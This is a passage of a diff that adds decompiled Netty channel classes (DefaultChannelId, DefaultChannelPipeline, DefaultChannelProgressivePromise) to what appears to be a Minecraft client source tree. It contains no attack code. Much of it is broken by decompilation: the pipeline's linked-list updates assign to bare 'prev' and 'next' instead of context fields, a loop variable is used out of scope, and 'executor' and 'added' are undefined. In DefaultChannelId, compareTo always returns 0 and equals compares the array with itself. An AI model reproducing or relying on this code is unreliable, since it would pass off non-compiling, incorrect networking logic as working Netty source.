+      pid = ThreadLocalRandom.current().nextInt(4194305);
+      logger.warn("Failed to find the current process ID from '{}'; using a random value: {}", value, Integer.valueOf(pid));
+    }
+    
+    return pid;
+  }
+  
+  private final byte[] data = new byte[28];
+  
+  private int hashCode;
+  
+  private transient String shortValue;
+  private transient String longValue;
+  
+  private void init()
+  {
+    int i = 0;
+    
+
+    System.arraycopy(MACHINE_ID, 0, data, i, 8);
+    i += 8;
+    
+
+    i = writeInt(i, PROCESS_ID);
+    
+
+    i = writeInt(i, nextSequence.getAndIncrement());
+    
+
+    i = writeLong(i, Long.reverse(System.nanoTime()) ^ System.currentTimeMillis());
+    
+
+    int random = ThreadLocalRandom.current().nextInt();
+    hashCode = random;
+    i = writeInt(i, random);
+    
+    assert (i == data.length);
+  }
+  
+  private int writeInt(int i, int value) {
+    data[(i++)] = ((byte)(value >>> 24));
+    data[(i++)] = ((byte)(value >>> 16));
+    data[(i++)] = ((byte)(value >>> 8));
+    data[(i++)] = ((byte)value);
+    return i;
+  }
+  
+  private int writeLong(int i, long value) {
+    data[(i++)] = ((byte)(int)(value >>> 56));
+    data[(i++)] = ((byte)(int)(value >>> 48));
+    data[(i++)] = ((byte)(int)(value >>> 40));
+    data[(i++)] = ((byte)(int)(value >>> 32));
+    data[(i++)] = ((byte)(int)(value >>> 24));
+    data[(i++)] = ((byte)(int)(value >>> 16));
+    data[(i++)] = ((byte)(int)(value >>> 8));
+    data[(i++)] = ((byte)(int)value);
+    return i;
+  }
+  
+  public String asShortText()
+  {
+    String shortValue = this.shortValue;
+    if (shortValue == null) {
+      this.shortValue = (shortValue = ByteBufUtil.hexDump(data, 24, 4));
+    }
+    
+    return shortValue;
+  }
+  
+  public String asLongText()
+  {
+    String longValue = this.longValue;
+    if (longValue == null) {
+      this.longValue = (longValue = newLongValue());
+    }
+    return longValue;
+  }
+  
+  private String newLongValue() {
+    StringBuilder buf = new StringBuilder(2 * data.length + 5);
+    int i = 0;
+    i = appendHexDumpField(buf, i, 8);
+    i = appendHexDumpField(buf, i, 4);
+    i = appendHexDumpField(buf, i, 4);
+    i = appendHexDumpField(buf, i, 8);
+    i = appendHexDumpField(buf, i, 4);
+    assert (i == data.length);
+    return buf.substring(0, buf.length() - 1);
+  }
+  
+  private int appendHexDumpField(StringBuilder buf, int i, int length) {
+    buf.append(ByteBufUtil.hexDump(data, i, length));
+    buf.append('-');
+    i += length;
+    return i;
+  }
+  
+  public int hashCode()
+  {
+    return hashCode;
+  }
+  
+  public int compareTo(ChannelId o)
+  {
+    return 0;
+  }
+  
+  public boolean equals(Object obj)
+  {
+    if (obj == this) {
+      return true;
+    }
+    
+    if (!(obj instanceof DefaultChannelId)) {
+      return false;
+    }
+    
+    return Arrays.equals(data, data);
+  }
+  
+  public String toString()
+  {
+    return asShortText();
+  }
+  
+  private DefaultChannelId() {}
+}
diff --git a/src/minecraft/io/netty/channel/DefaultChannelPipeline.java b/src/minecraft/io/netty/channel/DefaultChannelPipeline.java
new file mode 100644
index 0000000..a402f74
--- /dev/null
+++ b/src/minecraft/io/netty/channel/DefaultChannelPipeline.java
@@ -0,0 +1,1067 @@
+package io.netty.channel;
+
+import io.netty.util.ReferenceCountUtil;
+import io.netty.util.concurrent.EventExecutor;
+import io.netty.util.concurrent.EventExecutorGroup;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.StringUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.net.SocketAddress;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.IdentityHashMap;
+import java.util.Iterator;
+import java.util.LinkedHashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.NoSuchElementException;
+import java.util.Set;
+import java.util.WeakHashMap;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.Future;
+
+
+
+
+
+
+
+
+
+
+
+final class DefaultChannelPipeline
+  implements ChannelPipeline
+{
+  static final InternalLogger logger;
+  private static final WeakHashMap<Class<?>, String>[] nameCaches;
+  final AbstractChannel channel;
+  final AbstractChannelHandlerContext head;
+  final AbstractChannelHandlerContext tail;
+  
+  static
+  {
+    logger = InternalLoggerFactory.getInstance(DefaultChannelPipeline.class);
+    
+
+    nameCaches = new WeakHashMap[Runtime.getRuntime().availableProcessors()];
+    
+
+
+    for (int i = 0; i < nameCaches.length; i++) {
+      nameCaches[i] = new WeakHashMap();
+    }
+  }
+  
+
+
+
+
+
+  private final Map<String, AbstractChannelHandlerContext> name2ctx = new HashMap(4);
+  
+
+  final Map<EventExecutorGroup, EventExecutor> childExecutors = new IdentityHashMap();
+  
+  public DefaultChannelPipeline(AbstractChannel channel)
+  {
+    if (channel == null) {
+      throw new NullPointerException("channel");
+    }
+    this.channel = channel;
+    
+    tail = new TailContext(this);
+    head = new HeadContext(this);
+    
+    head.next = tail;
+    tail.prev = head;
+  }
+  
+  public Channel channel()
+  {
+    return channel;
+  }
+  
+  public ChannelPipeline addFirst(String name, ChannelHandler handler)
+  {
+    return addFirst(null, name, handler);
+  }
+  
+  public ChannelPipeline addFirst(EventExecutorGroup group, String name, ChannelHandler handler)
+  {
+    synchronized (this) {
+      checkDuplicateName(name);
+      AbstractChannelHandlerContext newCtx = new DefaultChannelHandlerContext(this, group, name, handler);
+      addFirst0(name, newCtx);
+    }
+    
+    return this;
+  }
+  
+  private void addFirst0(String name, AbstractChannelHandlerContext newCtx) {
+    checkMultiplicity(newCtx);
+    
+    AbstractChannelHandlerContext nextCtx = head.next;
+    prev = head;
+    next = nextCtx;
+    head.next = newCtx;
+    prev = newCtx;
+    
+    name2ctx.put(name, newCtx);
+    
+    callHandlerAdded(newCtx);
+  }
+  
+  public ChannelPipeline addLast(String name, ChannelHandler handler)
+  {
+    return addLast(null, name, handler);
+  }
+  
+  public ChannelPipeline addLast(EventExecutorGroup group, String name, ChannelHandler handler)
+  {
+    synchronized (this) {
+      checkDuplicateName(name);
+      
+      AbstractChannelHandlerContext newCtx = new DefaultChannelHandlerContext(this, group, name, handler);
+      addLast0(name, newCtx);
+    }
+    
+    return this;
+  }
+  
+  private void addLast0(String name, AbstractChannelHandlerContext newCtx) {
+    checkMultiplicity(newCtx);
+    
+    AbstractChannelHandlerContext prev = tail.prev;
+    prev = prev;
+    next = tail;
+    next = newCtx;
+    tail.prev = newCtx;
+    
+    name2ctx.put(name, newCtx);
+    
+    callHandlerAdded(newCtx);
+  }
+  
+  public ChannelPipeline addBefore(String baseName, String name, ChannelHandler handler)
+  {
+    return addBefore(null, baseName, name, handler);
+  }
+  
+
+  public ChannelPipeline addBefore(EventExecutorGroup group, String baseName, String name, ChannelHandler handler)
+  {
+    synchronized (this) {
+      AbstractChannelHandlerContext ctx = getContextOrDie(baseName);
+      checkDuplicateName(name);
+      AbstractChannelHandlerContext newCtx = new DefaultChannelHandlerContext(this, group, name, handler);
+      addBefore0(name, ctx, newCtx);
+    }
+    return this;
+  }
+  
+  private void addBefore0(String name, AbstractChannelHandlerContext ctx, AbstractChannelHandlerContext newCtx)
+  {
+    checkMultiplicity(newCtx);
+    
+    prev = prev;
+    next = ctx;
+    prev.next = newCtx;
+    prev = newCtx;
+    
+    name2ctx.put(name, newCtx);
+    
+    callHandlerAdded(newCtx);
+  }
+  
+  public ChannelPipeline addAfter(String baseName, String name, ChannelHandler handler)
+  {
+    return addAfter(null, baseName, name, handler);
+  }
+  
+
+  public ChannelPipeline addAfter(EventExecutorGroup group, String baseName, String name, ChannelHandler handler)
+  {
+    synchronized (this) {
+      AbstractChannelHandlerContext ctx = getContextOrDie(baseName);
+      checkDuplicateName(name);
+      AbstractChannelHandlerContext newCtx = new DefaultChannelHandlerContext(this, group, name, handler);
+      
+      addAfter0(name, ctx, newCtx);
+    }
+    
+    return this;
+  }
+  
+  private void addAfter0(String name, AbstractChannelHandlerContext ctx, AbstractChannelHandlerContext newCtx) {
+    checkDuplicateName(name);
+    checkMultiplicity(newCtx);
+    
+    prev = ctx;
+    next = next;
+    next.prev = newCtx;
+    next = newCtx;
+    
+    name2ctx.put(name, newCtx);
+    
+    callHandlerAdded(newCtx);
+  }
+  
+  public ChannelPipeline addFirst(ChannelHandler... handlers)
+  {
+    return addFirst(null, handlers);
+  }
+  
+  public ChannelPipeline addFirst(EventExecutorGroup executor, ChannelHandler... handlers)
+  {
+    if (handlers == null) {
+      throw new NullPointerException("handlers");
+    }
+    if ((handlers.length == 0) || (handlers[0] == null)) {
+      return this;
+    }
+    
+
+    for (int size = 1; size < handlers.length; size++) {
+      if (handlers[size] == null) {
+        break;
+      }
+    }
+    
+    for (int i = size - 1; i >= 0; i--) {
+      ChannelHandler h = handlers[i];
+      addFirst(executor, generateName(h), h);
+    }
+    
+    return this;
+  }
+  
+  public ChannelPipeline addLast(ChannelHandler... handlers)
+  {
+    return addLast(null, handlers);
+  }
+  
+  public ChannelPipeline addLast(EventExecutorGroup executor, ChannelHandler... handlers)
+  {
+    if (handlers == null) {
+      throw new NullPointerException("handlers");
+    }
+    
+    for (ChannelHandler h : handlers) {
+      if (h == null) {
+        break;
+      }
+      addLast(executor, generateName(h), h);
+    }
+    
+    return this;
+  }
+  
+  private String generateName(ChannelHandler handler) {
+    WeakHashMap<Class<?>, String> cache = nameCaches[((int)(Thread.currentThread().getId() % nameCaches.length))];
+    Class<?> handlerType = handler.getClass();
+    String name;
+    synchronized (cache) {
+      name = (String)cache.get(handlerType);
+      if (name == null) {
+        name = generateName0(handlerType);
+        cache.put(handlerType, name);
+      }
+    }
+    
+    synchronized (this)
+    {
+
+      if (name2ctx.containsKey(name)) {
+        String baseName = name.substring(0, name.length() - 1);
+        for (int i = 1;; i++) {
+          String newName = baseName + i;
+          if (!name2ctx.containsKey(newName)) {
+            name = newName;
+            break;
+          }
+        }
+      }
+    }
+    
+    return name;
+  }
+  
+  private static String generateName0(Class<?> handlerType) {
+    return StringUtil.simpleClassName(handlerType) + "#0";
+  }
+  
+  public ChannelPipeline remove(ChannelHandler handler)
+  {
+    remove(getContextOrDie(handler));
+    return this;
+  }
+  
+  public ChannelHandler remove(String name)
+  {
+    return remove(getContextOrDie(name)).handler();
+  }
+  
+
+  public <T extends ChannelHandler> T remove(Class<T> handlerType)
+  {
+    return remove(getContextOrDie(handlerType)).handler();
+  }
+  
+  private AbstractChannelHandlerContext remove(final AbstractChannelHandlerContext ctx) {
+    assert ((ctx != head) && (ctx != tail));
+    
+    Future<?> future;
+    
+    AbstractChannelHandlerContext context;
+    synchronized (this) {
+      if ((!ctx.channel().isRegistered()) || (ctx.executor().inEventLoop())) {
+        remove0(ctx);
+        return ctx;
+      }
+      future = ctx.executor().submit(new Runnable()
+      {
+        public void run() {
+          synchronized (DefaultChannelPipeline.this) {
+            remove0(ctx);
+          }
+        }
+      });
+      context = ctx;
+    }
+    
+
+
+
+
+    waitForFuture(future);
+    
+    return context;
+  }
+  
+  void remove0(AbstractChannelHandlerContext ctx) {
+    AbstractChannelHandlerContext prev = prev;
+    AbstractChannelHandlerContext next = next;
+    next = next;
+    prev = prev;
+    name2ctx.remove(ctx.name());
+    callHandlerRemoved(ctx);
+  }
+  
+  public ChannelHandler removeFirst()
+  {
+    if (head.next == tail) {
+      throw new NoSuchElementException();
+    }
+    return remove(head.next).handler();
+  }
+  
+  public ChannelHandler removeLast()
+  {
+    if (head.next == tail) {
+      throw new NoSuchElementException();
+    }
+    return remove(tail.prev).handler();
+  }
+  
+  public ChannelPipeline replace(ChannelHandler oldHandler, String newName, ChannelHandler newHandler)
+  {
+    replace(getContextOrDie(oldHandler), newName, newHandler);
+    return this;
+  }
+  
+  public ChannelHandler replace(String oldName, String newName, ChannelHandler newHandler)
+  {
+    return replace(getContextOrDie(oldName), newName, newHandler);
+  }
+  
+
+
+  public <T extends ChannelHandler> T replace(Class<T> oldHandlerType, String newName, ChannelHandler newHandler)
+  {
+    return replace(getContextOrDie(oldHandlerType), newName, newHandler);
+  }
+  
+
+
+  private ChannelHandler replace(final AbstractChannelHandlerContext ctx, final String newName, ChannelHandler newHandler)
+  {
+    assert ((ctx != head) && (ctx != tail));
+    
+    Future<?> future;
+    synchronized (this) {
+      boolean sameName = ctx.name().equals(newName);
+      if (!sameName) {
+        checkDuplicateName(newName);
+      }
+      
+      final AbstractChannelHandlerContext newCtx = new DefaultChannelHandlerContext(this, executor, newName, newHandler);
+      
+
+      if ((!newCtx.channel().isRegistered()) || (newCtx.executor().inEventLoop())) {
+        replace0(ctx, newName, newCtx);
+        return ctx.handler();
+      }
+      future = newCtx.executor().submit(new Runnable()
+      {
+        public void run() {
+          synchronized (DefaultChannelPipeline.this) {
+            DefaultChannelPipeline.this.replace0(ctx, newName, newCtx);
+          }
+        }
+      });
+    }
+    
+
+
+
+
+    waitForFuture(future);
+    
+    return ctx.handler();
+  }
+  
+  private void replace0(AbstractChannelHandlerContext oldCtx, String newName, AbstractChannelHandlerContext newCtx)
+  {
+    checkMultiplicity(newCtx);
+    
+    AbstractChannelHandlerContext prev = prev;
+    AbstractChannelHandlerContext next = next;
+    prev = prev;
+    next = next;
+    
+
+
+
+
+    next = newCtx;
+    prev = newCtx;
+    
+    if (!oldCtx.name().equals(newName)) {
+      name2ctx.remove(oldCtx.name());
+    }
+    name2ctx.put(newName, newCtx);
+    
+
+    prev = newCtx;
+    next = newCtx;
+    
+
+
+
+    callHandlerAdded(newCtx);
+    callHandlerRemoved(oldCtx);
+  }
+  
+  private static void checkMultiplicity(ChannelHandlerContext ctx) {
+    ChannelHandler handler = ctx.handler();
+    if ((handler instanceof ChannelHandlerAdapter)) {
+      ChannelHandlerAdapter h = (ChannelHandlerAdapter)handler;
+      if ((!h.isSharable()) && (added)) {
+        throw new ChannelPipelineException(h.getClass().getName() + " is not a @Sharable handler, so can't be added or removed multiple times.");
+      }
+      
+
+      added = true;
+    }
+  }
+  
+  private void callHandlerAdded(final ChannelHandlerContext ctx) {
+    if ((ctx.channel().isRegistered()) && (!ctx.executor().inEventLoop())) {
+      ctx.executor().execute(new Runnable()
+      {
+        public void run() {
+          DefaultChannelPipeline.this.callHandlerAdded0(ctx);
+        }
+      });
+      return;
+    }
+    callHandlerAdded0(ctx);
+  }
+  
+  private void callHandlerAdded0(ChannelHandlerContext ctx) {
+    try {
+      ctx.handler().handlerAdded(ctx);
+    } catch (Throwable t) {
+      boolean removed = false;
+      try {
+        remove((AbstractChannelHandlerContext)ctx);
+        removed = true;
+      } catch (Throwable t2) {
+        if (logger.isWarnEnabled()) {
+          logger.warn("Failed to remove a handler: " + ctx.name(), t2);
+        }
+      }
+      
+      if (removed) {
+        fireExceptionCaught(new ChannelPipelineException(ctx.handler().getClass().getName() + ".handlerAdded() has thrown an exception; removed.", t));
+      }
+      else
+      {
+        fireExceptionCaught(new ChannelPipelineException(ctx.handler().getClass().getName() + ".handlerAdded() has thrown an exception; also failed to remove.", t));
+      }
+    }
+  }
+  
+
+  private void callHandlerRemoved(final AbstractChannelHandlerContext ctx)
+  {
+    if ((ctx.channel().isRegistered()) && (!ctx.executor().inEventLoop())) {
+      ctx.executor().execute(new Runnable()
+      {
+        public void run() {
+          DefaultChannelPipeline.this.callHandlerRemoved0(ctx);
+        }
+      });
+      return;
+    }
+    callHandlerRemoved0(ctx);
+  }
+  
+  private void callHandlerRemoved0(AbstractChannelHandlerContext ctx)
+  {
+    try {
+      ctx.handler().handlerRemoved(ctx);
+      ctx.setRemoved();
+    } catch (Throwable t) {
+      fireExceptionCaught(new ChannelPipelineException(ctx.handler().getClass().getName() + ".handlerRemoved() has thrown an exception.", t));
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static void waitForFuture(Future<?> future)
+  {
+    try
+    {
+      future.get();
+    }
+    catch (ExecutionException ex) {
+      PlatformDependent.throwException(ex.getCause());
+    }
+    catch (InterruptedException ex) {
+      Thread.currentThread().interrupt();
+    }
+  }
+  
+  public ChannelHandler first()
+  {
+    ChannelHandlerContext first = firstContext();
+    if (first == null) {
+      return null;
+    }
+    return first.handler();
+  }
+  
+  public ChannelHandlerContext firstContext()
+  {
+    AbstractChannelHandlerContext first = head.next;
+    if (first == tail) {
+      return null;
+    }
+    return head.next;
+  }
+  
+  public ChannelHandler last()
+  {
+    AbstractChannelHandlerContext last = tail.prev;
+    if (last == head) {
+      return null;
+    }
+    return last.handler();
+  }
+  
+  public ChannelHandlerContext lastContext()
+  {
+    AbstractChannelHandlerContext last = tail.prev;
+    if (last == head) {
+      return null;
+    }
+    return last;
+  }
+  
+  public ChannelHandler get(String name)
+  {
+    ChannelHandlerContext ctx = context(name);
+    if (ctx == null) {
+      return null;
+    }
+    return ctx.handler();
+  }
+  
+
+
+  public <T extends ChannelHandler> T get(Class<T> handlerType)
+  {
+    ChannelHandlerContext ctx = context(handlerType);
+    if (ctx == null) {
+      return null;
+    }
+    return ctx.handler();
+  }
+  
+
+  public ChannelHandlerContext context(String name)
+  {
+    if (name == null) {
+      throw new NullPointerException("name");
+    }
+    
+    synchronized (this) {
+      return (ChannelHandlerContext)name2ctx.get(name);
+    }
+  }
+  
+  public ChannelHandlerContext context(ChannelHandler handler)
+  {
+    if (handler == null) {
+      throw new NullPointerException("handler");
+    }
+    
+    AbstractChannelHandlerContext ctx = head.next;
+    for (;;)
+    {
+      if (ctx == null) {
+        return null;
+      }
+      
+      if (ctx.handler() == handler) {
+        return ctx;
+      }
+      
+      ctx = next;
+    }
+  }
+  
+  public ChannelHandlerContext context(Class<? extends ChannelHandler> handlerType)
+  {
+    if (handlerType == null) {
+      throw new NullPointerException("handlerType");
+    }
+    
+    AbstractChannelHandlerContext ctx = head.next;
+    for (;;) {
+      if (ctx == null) {
+        return null;
+      }
+      if (handlerType.isAssignableFrom(ctx.handler().getClass())) {
+        return ctx;
+      }
+      ctx = next;
+    }
+  }
+  
+  public List<String> names()
+  {
+    List<String> list = new ArrayList();
+    AbstractChannelHandlerContext ctx = head.next;
+    for (;;) {
+      if (ctx == null) {
+        return list;
+      }
+      list.add(ctx.name());
+      ctx = next;
+    }
+  }
+  
+  public Map<String, ChannelHandler> toMap()
+  {
+    Map<String, ChannelHandler> map = new LinkedHashMap();
+    AbstractChannelHandlerContext ctx = head.next;
+    for (;;) {
+      if (ctx == tail) {
+        return map;
+      }
+      map.put(ctx.name(), ctx.handler());
+      ctx = next;
+    }
+  }
+  
+  public Iterator<Map.Entry<String, ChannelHandler>> iterator()
+  {
+    return toMap().entrySet().iterator();
+  }
+  
+
+
+
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder();
+    buf.append(StringUtil.simpleClassName(this));
+    buf.append('{');
+    AbstractChannelHandlerContext ctx = head.next;
+    
+    while (ctx != tail)
+    {
+
+
+      buf.append('(');
+      buf.append(ctx.name());
+      buf.append(" = ");
+      buf.append(ctx.handler().getClass().getName());
+      buf.append(')');
+      
+      ctx = next;
+      if (ctx == tail) {
+        break;
+      }
+      
+      buf.append(", ");
+    }
+    buf.append('}');
+    return buf.toString();
+  }
+  
+  public ChannelPipeline fireChannelRegistered()
+  {
+    head.fireChannelRegistered();
+    return this;
+  }
+  
+  public ChannelPipeline fireChannelUnregistered()
+  {
+    head.fireChannelUnregistered();
+    
+
+    if (!channel.isOpen()) {
+      teardownAll();
+    }
+    return this;
+  }
+  
+
+
+
+
+  private void teardownAll()
+  {
+    tail.prev.teardown();
+  }
+  
+  public ChannelPipeline fireChannelActive()
+  {
+    head.fireChannelActive();
+    
+    if (channel.config().isAutoRead()) {
+      channel.read();
+    }
+    
+    return this;
+  }
+  
+  public ChannelPipeline fireChannelInactive()
+  {
+    head.fireChannelInactive();
+    return this;
+  }
+  
+  public ChannelPipeline fireExceptionCaught(Throwable cause)
+  {
+    head.fireExceptionCaught(cause);
+    return this;
+  }
+  
+  public ChannelPipeline fireUserEventTriggered(Object event)
+  {
+    head.fireUserEventTriggered(event);
+    return this;
+  }
+  
+  public ChannelPipeline fireChannelRead(Object msg)
+  {
+    head.fireChannelRead(msg);
+    return this;
+  }
+  
+  public ChannelPipeline fireChannelReadComplete()
+  {
+    head.fireChannelReadComplete();
+    if (channel.config().isAutoRead()) {
+      read();
+    }
+    return this;
+  }
+  
+  public ChannelPipeline fireChannelWritabilityChanged()
+  {
+    head.fireChannelWritabilityChanged();
+    return this;
+  }
+  
+  public ChannelFuture bind(SocketAddress localAddress)
+  {
+    return tail.bind(localAddress);
+  }
+  
+  public ChannelFuture connect(SocketAddress remoteAddress)
+  {
+    return tail.connect(remoteAddress);
+  }
+  
+  public ChannelFuture connect(SocketAddress remoteAddress, SocketAddress localAddress)
+  {
+    return tail.connect(remoteAddress, localAddress);
+  }
+  
+  public ChannelFuture disconnect()
+  {
+    return tail.disconnect();
+  }
+  
+  public ChannelFuture close()
+  {
+    return tail.close();
+  }
+  
+  public ChannelFuture deregister()
+  {
+    return tail.deregister();
+  }
+  
+  public ChannelPipeline flush()
+  {
+    tail.flush();
+    return this;
+  }
+  
+  public ChannelFuture bind(SocketAddress localAddress, ChannelPromise promise)
+  {
+    return tail.bind(localAddress, promise);
+  }
+  
+  public ChannelFuture connect(SocketAddress remoteAddress, ChannelPromise promise)
+  {
+    return tail.connect(remoteAddress, promise);
+  }
+  
+  public ChannelFuture connect(SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise)
+  {
+    return tail.connect(remoteAddress, localAddress, promise);
+  }
+  
+  public ChannelFuture disconnect(ChannelPromise promise)
+  {
+    return tail.disconnect(promise);
+  }
+  
+  public ChannelFuture close(ChannelPromise promise)
+  {
+    return tail.close(promise);
+  }
+  
+  public ChannelFuture deregister(ChannelPromise promise)
+  {
+    return tail.deregister(promise);
+  }
+  
+  public ChannelPipeline read()
+  {
+    tail.read();
+    return this;
+  }
+  
+  public ChannelFuture write(Object msg)
+  {
+    return tail.write(msg);
+  }
+  
+  public ChannelFuture write(Object msg, ChannelPromise promise)
+  {
+    return tail.write(msg, promise);
+  }
+  
+  public ChannelFuture writeAndFlush(Object msg, ChannelPromise promise)
+  {
+    return tail.writeAndFlush(msg, promise);
+  }
+  
+  public ChannelFuture writeAndFlush(Object msg)
+  {
+    return tail.writeAndFlush(msg);
+  }
+  
+  private void checkDuplicateName(String name) {
+    if (name2ctx.containsKey(name)) {
+      throw new IllegalArgumentException("Duplicate handler name: " + name);
+    }
+  }
+  
+  private AbstractChannelHandlerContext getContextOrDie(String name) {
+    AbstractChannelHandlerContext ctx = (AbstractChannelHandlerContext)context(name);
+    if (ctx == null) {
+      throw new NoSuchElementException(name);
+    }
+    return ctx;
+  }
+  
+  private AbstractChannelHandlerContext getContextOrDie(ChannelHandler handler)
+  {
+    AbstractChannelHandlerContext ctx = (AbstractChannelHandlerContext)context(handler);
+    if (ctx == null) {
+      throw new NoSuchElementException(handler.getClass().getName());
+    }
+    return ctx;
+  }
+  
+  private AbstractChannelHandlerContext getContextOrDie(Class<? extends ChannelHandler> handlerType)
+  {
+    AbstractChannelHandlerContext ctx = (AbstractChannelHandlerContext)context(handlerType);
+    if (ctx == null) {
+      throw new NoSuchElementException(handlerType.getName());
+    }
+    return ctx;
+  }
+  
+  static final class TailContext
+    extends AbstractChannelHandlerContext
+    implements ChannelInboundHandler
+  {
+    private static final String TAIL_NAME = DefaultChannelPipeline.generateName0(TailContext.class);
+    
+    TailContext(DefaultChannelPipeline pipeline) {
+      super(null, TAIL_NAME, true, false);
+    }
+    
+    public ChannelHandler handler()
+    {
+      return this;
+    }
+    
+    public void channelRegistered(ChannelHandlerContext ctx) throws Exception
+    {}
+    
+    public void channelUnregistered(ChannelHandlerContext ctx) throws Exception
+    {}
+    
+    public void channelActive(ChannelHandlerContext ctx) throws Exception
+    {}
+    
+    public void channelInactive(ChannelHandlerContext ctx) throws Exception
+    {}
+    
+    public void channelWritabilityChanged(ChannelHandlerContext ctx) throws Exception
+    {}
+    
+    public void handlerAdded(ChannelHandlerContext ctx) throws Exception
+    {}
+    
+    public void handlerRemoved(ChannelHandlerContext ctx) throws Exception
+    {}
+    
+    public void userEventTriggered(ChannelHandlerContext ctx, Object evt) throws Exception
+    {}
+    
+    public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception
+    {
+      DefaultChannelPipeline.logger.warn("An exceptionCaught() event was fired, and it reached at the tail of the pipeline. It usually means the last handler in the pipeline did not handle the exception.", cause);
+    }
+    
+    public void channelRead(ChannelHandlerContext ctx, Object msg)
+      throws Exception
+    {
+      try
+      {
+        DefaultChannelPipeline.logger.debug("Discarded inbound message {} that reached at the tail of the pipeline. Please check your pipeline configuration.", msg);
+      }
+      finally
+      {
+        ReferenceCountUtil.release(msg);
+      }
+    }
+    
+    public void channelReadComplete(ChannelHandlerContext ctx) throws Exception
+    {}
+  }
+  
+  static final class HeadContext extends AbstractChannelHandlerContext implements ChannelOutboundHandler
+  {
+    private static final String HEAD_NAME = DefaultChannelPipeline.generateName0(HeadContext.class);
+    protected final Channel.Unsafe unsafe;
+    
+    HeadContext(DefaultChannelPipeline pipeline)
+    {
+      super(null, HEAD_NAME, false, true);
+      unsafe = pipeline.channel().unsafe();
+    }
+    
+    public ChannelHandler handler()
+    {
+      return this;
+    }
+    
+
+    public void handlerAdded(ChannelHandlerContext ctx)
+      throws Exception
+    {}
+    
+
+    public void handlerRemoved(ChannelHandlerContext ctx)
+      throws Exception
+    {}
+    
+
+    public void bind(ChannelHandlerContext ctx, SocketAddress localAddress, ChannelPromise promise)
+      throws Exception
+    {
+      unsafe.bind(localAddress, promise);
+    }
+    
+
+
+    public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise)
+      throws Exception
+    {
+      unsafe.connect(remoteAddress, localAddress, promise);
+    }
+    
+    public void disconnect(ChannelHandlerContext ctx, ChannelPromise promise) throws Exception
+    {
+      unsafe.disconnect(promise);
+    }
+    
+    public void close(ChannelHandlerContext ctx, ChannelPromise promise) throws Exception
+    {
+      unsafe.close(promise);
+    }
+    
+    public void deregister(ChannelHandlerContext ctx, ChannelPromise promise) throws Exception
+    {
+      unsafe.deregister(promise);
+    }
+    
+    public void read(ChannelHandlerContext ctx)
+    {
+      unsafe.beginRead();
+    }
+    
+    public void write(ChannelHandlerContext ctx, Object msg, ChannelPromise promise) throws Exception
+    {
+      unsafe.write(msg, promise);
+    }
+    
+    public void flush(ChannelHandlerContext ctx) throws Exception
+    {
+      unsafe.flush();
+    }
+    
+    public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception
+    {
+      ctx.fireExceptionCaught(cause);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/DefaultChannelProgressivePromise.java b/src/minecraft/io/netty/channel/DefaultChannelProgressivePromise.java
new file mode 100644
index 0000000..86fc503
--- /dev/null
+++ b/src/minecraft/io/netty/channel/DefaultChannelProgressivePromise.java
@@ -0,0 +1,169 @@
+package io.netty.channel;
+
+import io.netty.util.concurrent.DefaultProgressivePromise;
+import io.netty.util.concurrent.EventExecutor;
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.GenericFutureListener;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultChannelProgressivePromise
+  extends DefaultProgressivePromise<Void>
+  implements ChannelProgressivePromise, ChannelFlushPromiseNotifier.FlushCheckpoint
+{
+  private final Channel channel;
+  private long checkpoint;
+  
+  public DefaultChannelProgressivePromise(Channel channel)
+  {
+    this.channel = channel;
+  }
+  
+
+
+
+
+
+  public DefaultChannelProgressivePromise(Channel channel, EventExecutor executor)
+  {
+    super(executor);
+    this.channel = channel;
+  }
+  
+  protected EventExecutor executor()
+  {
+    EventExecutor e = super.executor();
+    if (e == null) {
+      return channel().eventLoop();
+    }
+    return e;
+  }
+  
+
+  public Channel channel()
+  {
+    return channel;
+  }
+  
+  public ChannelProgressivePromise setSuccess()
+  {
+    return setSuccess(null);
+  }
+  
+  public ChannelProgressivePromise setSuccess(Void result)
+  {
+    super.setSuccess(result);
+    return this;
+  }
+  
+  public boolean trySuccess()
+  {
+    return trySuccess(null);
+  }
+  
+  public ChannelProgressivePromise setFailure(Throwable cause)
+  {
+    super.setFailure(cause);
+    return this;
+  }
+  
+  public ChannelProgressivePromise setProgress(long progress, long total)
+  {
+    super.setProgress(progress, total);
+    return this;
+  }
+  
+  public ChannelProgressivePromise addListener(GenericFutureListener<? extends Future<? super Void>> listener)
+  {
+    super.addListener(listener);
+    return this;
+  }
+  
+  public ChannelProgressivePromise addListeners(GenericFutureListener<? extends Future<? super Void>>... listeners)
+  {
+    super.addListeners(listeners);
+    return this;
+  }
+  
+  public ChannelProgressivePromise removeListener(GenericFutureListener<? extends Future<? super Void>> listener)
+  {
+    super.removeListener(listener);
+    return this;
+  }
+  
+
+  public ChannelProgressivePromise removeListeners(GenericFutureListener<? extends Future<? super Void>>... listeners)
+  {
+    super.removeListeners(listeners);
+    return this;
+  }
+  
+  public ChannelProgressivePromise sync() throws InterruptedException
+  {
+    super.sync();
+    return this;
+  }
+  
+  public ChannelProgressivePromise syncUninterruptibly()
+  {
+    super.syncUninterruptibly();
+    return this;
+  }
+  
+  public ChannelProgressivePromise await() throws InterruptedException
+  {
+    super.await();
+    return this;
+  }
+  
+  public ChannelProgressivePromise awaitUninterruptibly()
+  {
+    super.awaitUninterruptibly();
+    return this;
+  }
+  
+  public long flushCheckpoint()
+  {
+    return checkpoint;
+  }
+  
+  public void flushCheckpoint(long checkpoint)
+  {
+    this.checkpoint = checkpoint;
+  }
+  
+  public ChannelProgressivePromise promise()
+  {
+    return this;
+  }
+  
+  protected void checkDeadLock()
+  {
+    if (channel().isRegistered()) {
+      super.checkDeadLock();
+    }
+  }
+}
